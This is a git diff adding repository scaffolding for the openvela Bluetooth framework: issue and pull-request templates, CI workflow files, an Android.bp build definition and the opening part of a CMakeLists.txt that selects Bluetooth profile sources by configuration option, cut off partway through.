diff --git a/.clang-format b/.clang-format
new file mode 100644
index 0000000000000000000000000000000000000000..1dd236cb113f5e05df15f34dfd338b3dd8b164cd
--- /dev/null
+++ b/.clang-format
@@ -0,0 +1,3 @@
+---
+Language: Cpp
+BasedOnStyle: WebKit
diff --git a/.gitee/ISSUE_TEMPLATE/001_bug_report.yml b/.gitee/ISSUE_TEMPLATE/001_bug_report.yml
new file mode 100644
index 0000000000000000000000000000000000000000..7107bc233c838b0738b53c3960912b09710fc480
--- /dev/null
+++ b/.gitee/ISSUE_TEMPLATE/001_bug_report.yml
@@ -0,0 +1,40 @@
+name: 缺陷反馈 | Bug
+description: 当您发现了一个缺陷,需要向社区反馈时,请使用此模板。
+title: "[BUG] <标题>"
+labels: [👀 needs triage, "Type: Bug"]
+body:
+ - type: markdown
+ attributes:
+ value: |
+ 感谢您对 openvela 社区的支持与关注,欢迎反馈缺陷。
+
+ - type: textarea
+ attributes:
+ label: "重现问题的步骤"
+ description: "简洁地描述错误是什么,为什么您认为它是一个错误,以及如何重现它的步骤"
+ placeholder: |
+ 重现问题的步骤,可能包括日志和截图。
+ 1. 步骤 1
+ 2. 步骤 2
+ validations:
+ required: true
+
+ - type: dropdown
+ id: architecture
+ attributes:
+ label: Issue Architecture
+ multiple: true
+ options:
+ - "Arch: arm"
+ - "Arch: arm64"
+ - "Arch: x86_64"
+ validations:
+ required: true
+
+ - type: markdown
+ attributes:
+ value: |
+ 提交前请确认您已遵循以下步骤:
+ - 确认问题在 [**dev**](../) 上可重现。
+ - 遇到构建问题时运行 `make distclean`。
+ - 搜索 [现有问题](./)
diff --git a/.gitee/ISSUE_TEMPLATE/002_feature_request.yml b/.gitee/ISSUE_TEMPLATE/002_feature_request.yml
new file mode 100644
index 0000000000000000000000000000000000000000..8b500152e7f080e30baa628bdc8c079b93be3d25
--- /dev/null
+++ b/.gitee/ISSUE_TEMPLATE/002_feature_request.yml
@@ -0,0 +1,34 @@
+name: 新需求 | Feature
+description: 当您需要反馈或实现一个新需求时,使用此模板。
+title: "[FEATURE] <标题>"
+body:
+ - type: markdown
+ attributes:
+ value: |
+ 感谢您对 openvela 社区的支持与关注。
+
+ - type: textarea
+ id: question-description
+ attributes:
+ label: 您的需求是否和问题相关?
+ description: 请简单描述问题,并提供issue链接。
+ validations:
+ required: true
+
+ - type: textarea
+ id: solution
+ attributes:
+ label: 请描述您想要的解决方案
+ validations:
+ required: true
+
+ - type: textarea
+ id: 替代方案
+ attributes:
+ label: 请描述您考虑过的替代解决方案
+
+ - type: markdown
+ attributes:
+ value: |
+ 提交前请搜索 [现有功能需求](./)
+
diff --git a/.gitee/ISSUE_TEMPLATE/003_help.yml b/.gitee/ISSUE_TEMPLATE/003_help.yml
new file mode 100644
index 0000000000000000000000000000000000000000..bde95adf3d07da0e687eef3d960a10b26b2a97a9
--- /dev/null
+++ b/.gitee/ISSUE_TEMPLATE/003_help.yml
@@ -0,0 +1,22 @@
+name: 问题咨询
+title: "[问题咨询]"
+body:
+ - type: markdown
+ attributes:
+ value: |
+ 感谢您对 openvela 社区的支持与关注。
+
+ - type: textarea
+ id: question-description
+ attributes:
+ label: 描述
+ description: 请解释您的问题的背景或上下文,这有助于其他人更好地理解您的问题或疑问。
+ validations:
+ required: true
+
+ - type: markdown
+ attributes:
+ value: |
+ 提交前请确认您已遵循以下步骤:
+ - 我已搜索 [openvela 文档](../),但未找到问题的答案。
+ - 已搜索 [现有问题](./)
diff --git a/.gitee/ISSUE_TEMPLATE/config.yml b/.gitee/ISSUE_TEMPLATE/config.yml
new file mode 100644
index 0000000000000000000000000000000000000000..3ba13e0cec6cbbfd462e9ebf529dd2093148cd69
--- /dev/null
+++ b/.gitee/ISSUE_TEMPLATE/config.yml
@@ -0,0 +1 @@
+blank_issues_enabled: false
diff --git a/.gitee/PULL_REQUEST_TEMPLATE.md b/.gitee/PULL_REQUEST_TEMPLATE.md
new file mode 100644
index 0000000000000000000000000000000000000000..cd8b2bc3a7690b37298e12d71c7b12189d26fae8
--- /dev/null
+++ b/.gitee/PULL_REQUEST_TEMPLATE.md
@@ -0,0 +1,11 @@
+## 概要
+
+*在此部分更新信息,说明更改的必要性、具体做了什么以及如何实现的,如果有新功能出现,请提供参考资料(依赖关系、类似问题和解决方案等)。*
+
+## 影响
+
+*在此部分更新信息(如适用),说明更改如何影响用户、构建过程、硬件、文档、安全性、兼容性等。*
+
+## 测试
+
+*在此部分更新信息,详细说明如何验证更改,使用什么主机进行构建(操作系统、CPU、编译器等),使用什么目标进行验证(架构、板子:配置等)。提供更改前后的构建和运行日志将非常有帮助。*
\ No newline at end of file
diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
new file mode 100644
index 0000000000000000000000000000000000000000..544b9107e6ffeb1639173292a88f19c1f631dcee
--- /dev/null
+++ b/.github/CODEOWNERS
@@ -0,0 +1 @@
+* @hyson710
diff --git a/.github/ISSUE_TEMPLATE/001_bug_report.yml b/.github/ISSUE_TEMPLATE/001_bug_report.yml
new file mode 100644
index 0000000000000000000000000000000000000000..48e823db004f97019d883d13fd419084b650b4df
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/001_bug_report.yml
@@ -0,0 +1,60 @@
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+name: Bug report
+description: Report a bug to improve openvela stability
+title: "[BUG]
"
+labels: [👀 needs triage, "Type: Bug"]
+body:
+ - type: markdown
+ attributes:
+ value: |
+ Hello openvela Community member! Please keep things tidy by putting your post in the proper place:
+
+ Reporting a bug: use this form.
+ Asking a question or getting help: use the [General Help](./new?assignees=&labels=Community%3A+Question&projects=&template=003_help.yml&title=%5BHELP%5D+%3Ctitle%3E) form.
+ Requesting a new feature: use the [Feature request](./new?assignees=&labels=Type%3A+Enhancement&projects=&template=002_feature_request.yml&title=%5BFEATURE%5D+%3Ctitle%3E) form.
+ - type: textarea
+ attributes:
+ label: "Description / Steps to reproduce the issue"
+ description: "A clear and concise description of what the bug is, and why you consider it to be a bug, and steps for how to reproduce it"
+ placeholder: |
+ A description with steps to reproduce the issue.
+ May include logs, images, or videos.
+ 1. Step 1
+ 2. Step 2
+ validations:
+ required: true
+
+ - type: dropdown
+ id: architecture
+ attributes:
+ label: Issue Architecture
+ description: What architecture(s) are you seeing the problem on?
+ multiple: true
+ options:
+ - "[Arch: arm]"
+ - "[Arch: arm64]"
+ - "[Arch: x86_64]"
+ validations:
+ required: true
+
+ - type: markdown
+ attributes:
+ value: |
+ ### Before You Submit
+
+ Please verify that you've followed these steps:
+ - Confirm the problem is reproducible on [**dev**](../).
+ - Run `make distclean` when encountering build issues.
+ - Search [existing issues](./) (including [closed](./?q=is%3Aissue+is%3Aclosed))
+
diff --git a/.github/ISSUE_TEMPLATE/002_feature_request.yml b/.github/ISSUE_TEMPLATE/002_feature_request.yml
new file mode 100644
index 0000000000000000000000000000000000000000..d5f410895687730a42836aa65c321c13e59100c5
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/002_feature_request.yml
@@ -0,0 +1,55 @@
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+name: Feature request
+description: Request an enhancement for openvela
+title: "[FEATURE] "
+labels: ["Type: Enhancement"]
+body:
+ - type: markdown
+ attributes:
+ value: |
+ Hello openvela Community member! Please keep things tidy by putting your post in the proper place:
+
+ Requesting a new feature: use this form.
+ Asking a question or getting help: use the [General Help](./new?assignees=&labels=Community%3A+Question&projects=&template=003_help.yml&title=%5BHELP%5D+%3Ctitle%3E) form.
+ Reporting a bug: use the [Bug report](./new?assignees=&labels=%F0%9F%91%80+needs+triage%2CType%3A+Bug&projects=&template=001_bug_report.yml&title=%5BBUG%5D+%3Ctitle%3E) form.
+
+ - type: textarea
+ id: question-description
+ attributes:
+ label: Is your feature request related to a problem? Please describe.
+ description: Please provide a clear and concise description of what the problem is. Add relevant issue link.
+ validations:
+ required: true
+
+ - type: textarea
+ id: solution
+ attributes:
+ label: Describe the solution you'd like
+ description: Please provide a clear and concise description of what you want to happen.
+ validations:
+ required: true
+
+ - type: textarea
+ id: alternatives
+ attributes:
+ label: Describe alternatives you've considered
+ description: Please provide a clear and concise description of any alternative solutions or features you've considered.
+
+ - type: markdown
+ attributes:
+ value: |
+ ### Before You Submit
+
+ Please verify that you've followed these steps:
+ - Search [existing feature requests](./) (including [closed](./?q=is%3Aissue+is%3Aclosed))
diff --git a/.github/ISSUE_TEMPLATE/003_help.yml b/.github/ISSUE_TEMPLATE/003_help.yml
new file mode 100644
index 0000000000000000000000000000000000000000..ff1e1bf627ad1674eef3a4e20ed808e416beb0ec
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/003_help.yml
@@ -0,0 +1,47 @@
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+name: General Help
+description: Get general support regarding openvela
+title: "[HELP] "
+labels: ["Community: Question"]
+body:
+ - type: markdown
+ attributes:
+ value: |
+ Hello openvela Community member! Please keep things tidy by putting your post in the proper place:
+
+ Asking a question or getting help: use this form.
+ Reporting a bug: use the [Bug report](./new?assignees=&labels=%F0%9F%91%80+needs+triage%2CType%3A+Bug&projects=&template=001_bug_report.yml&title=%5BBUG%5D+%3Ctitle%3E) form.
+ Requesting a new feature: use the [Feature request](./new?assignees=&labels=Type%3A+Enhancement&projects=&template=002_feature_request.yml&title=%5BFEATURE%5D+%3Ctitle%3E) form
+
+ - type: markdown
+ attributes:
+ value: |
+ ### Whether you're a beginner or an experienced developer, openvela Help is here to assist you with all your openvela questions and concerns.
+
+ - type: textarea
+ id: question-description
+ attributes:
+ label: Description
+ description: Explain the background or context of your question. This helps others understand your problem or inquiry better.
+ validations:
+ required: true
+
+ - type: markdown
+ attributes:
+ value: |
+ ### Before You Submit
+
+ Please verify that you've followed these steps:
+ - I have searched [openvela Documentation](../) and didn't find an answer to my question.
+ - Search [existing issues](./) (including [closed](./?q=is%3Aissue+is%3Aclosed))
diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml
new file mode 100644
index 0000000000000000000000000000000000000000..3ba13e0cec6cbbfd462e9ebf529dd2093148cd69
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/config.yml
@@ -0,0 +1 @@
+blank_issues_enabled: false
diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md
new file mode 100644
index 0000000000000000000000000000000000000000..cfe55eb61d3334245c04325ee92abc7fdd1ebc07
--- /dev/null
+++ b/.github/PULL_REQUEST_TEMPLATE.md
@@ -0,0 +1,20 @@
+*Note: Please adhere to [Contributing Guidelines](https://github.com/open-vela/docs/blob/dev/CONTRIBUTING.md).*
+
+## Summary
+
+*Update this section with information on why change is necessary,
+ what it exactly does and how, if new feature shows up, provide
+ references (dependencies, similar problems and solutions), etc.*
+
+## Impact
+
+*Update this section, where applicable, on how change affects users,
+ build process, hardware, documentation, security, compatibility, etc.*
+
+## Testing
+
+*Update this section with details on how did you verify the change,
+ what Host was used for build (OS, CPU, compiler, ..), what Target was
+ used for verification (arch, board:config, ..), etc. Providing build
+ and runtime logs from before and after change is highly appreciated.*
+
diff --git a/.github/workflows/checkpatch.yml b/.github/workflows/checkpatch.yml
new file mode 100644
index 0000000000000000000000000000000000000000..1cfe702b8cccf06491eaeef1267b63eb1cfbbdd6
--- /dev/null
+++ b/.github/workflows/checkpatch.yml
@@ -0,0 +1,14 @@
+# This is a basic workflow to help you get started with Actions
+
+name: checkpatch
+
+# Controls when the workflow will run
+on:
+ pull_request:
+ types: [opened, reopened, synchronize]
+
+# A workflow run is made up of one or more jobs that can run sequentially or in parallel
+jobs:
+ checkpatch:
+ uses: open-vela/public-actions/.github/workflows/checkpatch.yml@dev
+ secrets: inherit
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
new file mode 100644
index 0000000000000000000000000000000000000000..75b6797a9cd6459908bccdb8f514677a3cd48207
--- /dev/null
+++ b/.github/workflows/ci.yml
@@ -0,0 +1,14 @@
+# This is a basic workflow to help you get started with Actions
+
+name: CI
+
+# Controls when the workflow will run
+on:
+ pull_request_target:
+ types: [opened, reopened, synchronize]
+
+# A workflow run is made up of one or more jobs that can run sequentially or in parallel
+jobs:
+ ci:
+ uses: open-vela/public-actions/.github/workflows/ci.yml@dev
+ secrets: inherit
diff --git a/.github/workflows/clang-format.yml b/.github/workflows/clang-format.yml
new file mode 100644
index 0000000000000000000000000000000000000000..e347b4a860dc433d4bc6f749125d80c0986933ed
--- /dev/null
+++ b/.github/workflows/clang-format.yml
@@ -0,0 +1,13 @@
+# This is a basic workflow to help you get started with Actions
+
+name: clang-format
+
+# Controls when the workflow will run
+on:
+ pull_request:
+ types: [opened, reopened, synchronize]
+
+# A workflow run is made up of one or more jobs that can run sequentially or in parallel
+jobs:
+ clang-format:
+ uses: open-vela/public-actions/.github/workflows/clang-format.yml@dev
diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml
new file mode 100644
index 0000000000000000000000000000000000000000..95183d91cbbf10895cd8656388e75020ac95fa7c
--- /dev/null
+++ b/.github/workflows/stale.yml
@@ -0,0 +1,11 @@
+name: 'Close stale issues and PR'
+on:
+ schedule:
+ - cron: '30 1 * * *'
+ workflow_dispatch: # 允许手动触发
+
+jobs:
+ stale:
+ uses: open-vela/public-actions/.github/workflows/stale.yml@dev
+ secrets: inherit
+
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000000000000000000000000000000000000..855816b4381a877134e76ed74699e40d2e6e981c
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,4 @@
+*.o
+*.built
+*.depend
+*.dep
diff --git a/Android.bp b/Android.bp
new file mode 100644
index 0000000000000000000000000000000000000000..82e81d648f90fb983dd2624fe514a3ee766bd2bb
--- /dev/null
+++ b/Android.bp
@@ -0,0 +1,132 @@
+bootstrap_go_package {
+ name: "soong-frameworkBluetooth",
+ pkgPath: "android/soong/frameworkBluetooth",
+ deps: [
+ "soong-android",
+ "soong-cc",
+ ],
+ srcs: [
+ "frameworkBluetooth.go",
+ "frameworkBluetoothBin.go",
+ ],
+ pluginFor: ["soong_build"],
+}
+
+frameworkBluetooth_cc_library {
+ name : "libbt-framework-client",
+ min_sdk_version: "33",
+
+ srcs : [
+ "framework/common/*.c",
+ "framework/socket/*.c",
+ "service/common/index_allocator.c",
+ "service/ipc/socket/src/bt_socket_client.c",
+ "service/ipc/socket/src/bt_socket_adapter.c",
+ "service/ipc/socket/src/bt_socket_advertiser.c",
+ "service/ipc/socket/src/bt_socket_avrcp_control.c",
+ "service/ipc/socket/src/bt_socket_scan.c",
+ "service/ipc/socket/src/bt_socket_gattc.c",
+ "service/ipc/socket/src/bt_socket_gatts.c",
+ "service/ipc/socket/src/bt_socket_a2dp_sink.c",
+ "service/ipc/socket/src/bt_socket_a2dp_source.c",
+ "service/ipc/socket/src/bt_socket_avrcp_target.c",
+ "service/ipc/socket/src/bt_socket_hfp_ag.c",
+ "service/ipc/socket/src/bt_socket_hfp_hf.c",
+ "service/ipc/socket/src/bt_socket_hid_device.c",
+ "service/ipc/socket/src/bt_socket_l2cap.c",
+ "service/ipc/socket/src/bt_socket_spp.c",
+ "service/src/manager_service.c",
+ ],
+
+ include_dirs : [
+ "vendor/vela/apps/system/libuv/libuv/include",
+ "vendor/vela/apps/system/libuv/libuv/src",
+ ],
+
+ local_include_dirs : [
+ "framework/include",
+ "service",
+ "service/common",
+ "service/ipc",
+ "service/ipc/socket/include",
+ "service/profiles",
+ "service/profiles/include",
+ "service/src",
+ ],
+
+ static_libs : [
+ "libuv",
+ ],
+
+ shared_libs : [
+ "liblog",
+ ],
+
+ cflags : [
+ //"-DANDROID",
+ "-Werror",
+ "-Wno-unused-parameter",
+ "-Wno-unused-function",
+ "-Wno-unused-variable",
+ "-Wno-typedef-redefinition",
+ ],
+
+ apex_available : [
+ "//apex_available:platform",
+ "com.android.btservices",
+ ],
+
+ header_libs: [
+ "kernel_modules_headers",
+ ],
+}
+
+frameworkBluetooth_cc_binary {
+ name : "bttool",
+
+ srcs : [
+ "tools/bt_tools.c",
+ "tools/adv.c",
+ "tools/scan.c",
+ "tools/gatt_client.c",
+ "tools/gatt_server.c",
+ "tools/a2dp_sink.c",
+ "tools/a2dp_source.c",
+ "tools/hfp_ag.c",
+ "tools/hfp_hf.c",
+ "tools/hid_device.c",
+ "tools/l2cap.c",
+ "tools/spp.c",
+ "tools/log.c",
+ "tools/utils.c",
+ ],
+
+ include_dirs : [
+ "vendor/vela/apps/system/libuv/libuv/include",
+ "vendor/vela/apps/system/libuv/libuv/src",
+ ],
+
+ local_include_dirs : [
+ "framework/include",
+ "service",
+ "service/common",
+ "service/utils",
+ ],
+
+ static_libs : [
+ "libuv",
+ ],
+
+ shared_libs : [
+ "liblog",
+ "libbt-framework-client",
+ ],
+
+ cflags : [
+ //"-DANDROID",
+ "-Werror",
+ "-Wno-unused-parameter",
+ "-Wno-unused-function",
+ "-Wno-unused-variable",
+ ],
+}
diff --git a/CMakeLists.txt b/CMakeLists.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e76d30bdd83152e69d18b3671a50eee5587206a3
--- /dev/null
+++ b/CMakeLists.txt
@@ -0,0 +1,1002 @@
+#
+# Copyright (C) 2024 Xiaomi Corporation
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not
+# use this file except in compliance with the License. You may obtain a copy of
+# the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+# License for the specific language governing permissions and limitations under
+# the License.
+#
+
+if(CONFIG_BLUETOOTH)
+
+ # Source Directories
+ set(BLUETOOTH_DIR ${CMAKE_CURRENT_SOURCE_DIR})
+
+ # Flags
+ set(CFLAGS)
+ set(CSRCS)
+ set(INCDIR)
+
+ # Sources
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/framework/common/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+
+ list(
+ APPEND
+ CSRCS
+ ${BLUETOOTH_DIR}/framework/api/bluetooth.c
+ ${BLUETOOTH_DIR}/framework/api/bt_adapter.c
+ ${BLUETOOTH_DIR}/framework/api/bt_device.c)
+
+ if(CONFIG_BLUETOOTH_A2DP_SINK)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_a2dp_sink.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_A2DP_SOURCE)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_a2dp_source.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_AVRCP_TARGET)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_avrcp_target.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_AVRCP_CONTROL)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_avrcp_control.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_HFP_AG)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_hfp_ag.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_HFP_HF)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_hfp_hf.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_SPP)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_spp.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_HID_DEVICE)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_hid_device.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_GATT_CLIENT)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_gattc.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_GATT_SERVER)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_gatts.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_L2CAP)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_l2cap.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_BLE_ADV)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_le_advertiser.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_BLE_SCAN)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_le_scan.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_LOG)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_trace.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_PAN)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/api/bt_pan.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_BLE_AUDIO)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/framework/api/bt_lea*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+
+ if(CONFIG_BLUETOOTH_FRAMEWORK_SOCKET_IPC)
+ list(
+ APPEND
+ CSRCS
+ ${BLUETOOTH_DIR}/service/ipc/bluetooth_ipc.c
+ ${BLUETOOTH_DIR}/framework/socket/bt_device.c
+ ${BLUETOOTH_DIR}/framework/socket/bt_adapter.c
+ ${BLUETOOTH_DIR}/framework/socket/bluetooth.c
+ ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket.c
+ ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_manager.c
+ ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_client.c
+ ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_server.c
+ ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_device.c
+ ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_adapter.c)
+
+ if(CONFIG_BLUETOOTH_A2DP_SINK)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_a2dp_sink.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_a2dp_sink.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_A2DP_SOURCE)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_a2dp_source.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_a2dp_source.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_AVRCP_TARGET)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_avrcp_target.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_avrcp_target.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_AVRCP_CONTROL)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_avrcp_control.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_avrcp_control.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_HFP_HF)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_hfp_hf.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_hfp_hf.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_HFP_AG)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_hfp_ag.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_hfp_ag.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_SPP)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_spp.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_spp.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_HID_DEVICE)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_hid_device.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_hid_device.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_GATT_CLIENT)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_gattc.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_gattc.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_GATT_SERVER)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_gatts.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_gatts.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_L2CAP)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_l2cap.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_l2cap.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_BLE_ADV)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_le_advertiser.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_advertiser.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_BLE_SCAN)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_le_scan.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_le_scan.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_PAN)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_pan.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_pan.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_LOG)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/framework/socket/bt_trace.c)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/ipc/socket/src/bt_socket_log.c)
+ endif()
+
+ list(APPEND INCDIR ${BLUETOOTH_DIR}/service/ipc/socket/include)
+
+ if (CONFIG_BLUETOOTH_FRAMEWORK_ASYNC)
+ file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/framework/socket/async/*.c)
+ list(APPEND CSRCS ${APPEND_FILES})
+ endif()
+ endif()
+
+ list(
+ APPEND
+ CSRCS
+ ${BLUETOOTH_DIR}/service/src/manager_service.c
+ ${BLUETOOTH_DIR}/service/common/index_allocator.c)
+
+ if(CONFIG_BLUETOOTH_CONNECTION_MANAGER)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/src/connection_manager.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_STORAGE_PROPERTY_SUPPORT)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/common/storage_property.c)
+ else()
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/common/storage.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_STORAGE_UPDATE)
+ list(
+ APPEND
+ CSRCS
+ ${BLUETOOTH_DIR}/tools/storage_update/storage_version_4.c
+ ${BLUETOOTH_DIR}/tools/storage_update/storage_version_5.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_DEBUG_MEMORY)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/debug/bt_memory.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_SERVICE)
+ list(
+ APPEND
+ CSRCS
+ ${BLUETOOTH_DIR}/service/common/service_loop.c
+ ${BLUETOOTH_DIR}/service/src/adapter_service.c
+ ${BLUETOOTH_DIR}/service/src/adapter_state.c
+ ${BLUETOOTH_DIR}/service/src/btservice.c
+ ${BLUETOOTH_DIR}/service/src/device.c
+ ${BLUETOOTH_DIR}/service/vendor/bt_vendor.c
+ ${BLUETOOTH_DIR}/service/src/hci_parser.c)
+
+ if(CONFIG_BLUETOOTH_BREDR_SUPPORT)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/src/power_manager.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_BLE_ADV)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/src/advertising.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_BLE_SCAN)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/src/scan_manager.c
+ ${BLUETOOTH_DIR}/service/src/scan_record.c
+ ${BLUETOOTH_DIR}/service/src/scan_filter.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_L2CAP)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/src/l2cap_service.c)
+ endif()
+
+ if(CONFIG_LE_DLF_SUPPORT)
+ list(APPEND CSRCS ${BLUETOOTH_DIR}/service/src/connection_manager_dlf.c)
+ endif()
+
+ if(CONFIG_BLUETOOTH_HCI_FILTER)
